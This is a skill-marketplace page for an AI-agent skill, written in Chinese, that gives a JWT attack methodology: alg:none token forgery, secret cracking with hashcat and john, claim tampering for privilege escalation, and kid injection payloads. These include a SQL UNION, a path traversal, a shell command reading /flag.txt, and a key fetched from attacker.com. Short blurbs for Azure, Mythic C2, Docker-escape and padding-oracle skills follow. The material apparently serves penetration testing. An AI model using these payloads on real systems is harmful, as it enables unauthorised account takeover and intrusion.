skills/exploit/auth/jwt-attack-methodology/SKILL.md
JWT Token 攻击方法论。当响应头/Cookie 中出现 eyJ 开头的字符串(三段式 base64,Header.Payload.Signature)、Authorization: Bearer token、API 返回 token/access_token 字段时使用。包含 alg:none 绕过、弱密钥爆破(hashcat/john/c-jwt-cracker/jwt_tool 完整工具链)、Claims 篡改提权、RS256->HS256 算法混淆、kid 注入(SQL/路径穿越/命令注入)、jku/x5u 替换。注意:非 JWT 的 Cookie 分析请使用 cookie-analysis
npx skillsauth add wgpsec/AboutSecurity jwt-attack-methodologyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
. 分隔(Header.Payload.Signature)echo '<part>' | base64 -d 手动解码:
alg 字段(HS256/RS256/none)、kid/jku/x5u 参数sub、role、admin、is_admin、user_id、exp 等 Claimsexp 字段转换为 Unix 时间戳对比当前时间alg 改为 none,删除 Signature 部分(保留末尾的 .)header.payload."none", "None", "NONE", "nOnE", "NoNe""none" 时绕过,需逐个测试原始: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SIGNATURE
攻击: eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
secret, password, 123456, key, jwt_secret, changeme, ""(空字符串)hashcat -m 16500 jwt.txt wordlist.txtjohn jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256./jwtcrack <token>(纯暴力,适合短密钥)python3 jwt_tool.py <token> -C -d wordlist.txtimport jwt; print(jwt.encode({'user':'admin','role':'admin'}, 'SECRET_KEY', algorithm='HS256'))
→ 完整爆破工具链和弱密钥模式表 → references/jwt-advanced.md
role:user→admin | is_admin:false→true | user_id:5→1"admin":true、"groups":["admin"]exp 延长 token 有效期(如改为 2099 年时间戳)/api/jwks、/.well-known/jwks.json、/oauth/jwksalg 从 RS256 改为 HS256kid(Key ID)字段"kid":"1' UNION SELECT 'my-key' -- " → 用 my-key 签名"kid":"../../dev/null" → 用空文件内容作为密钥签名"kid":"key|cat /flag.txt" → 某些实现会执行 shell 命令"kid":"http://attacker.com/key" → 从攻击者服务器获取密钥
→ 完整 payload → references/jwt-advanced.mdtesting
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能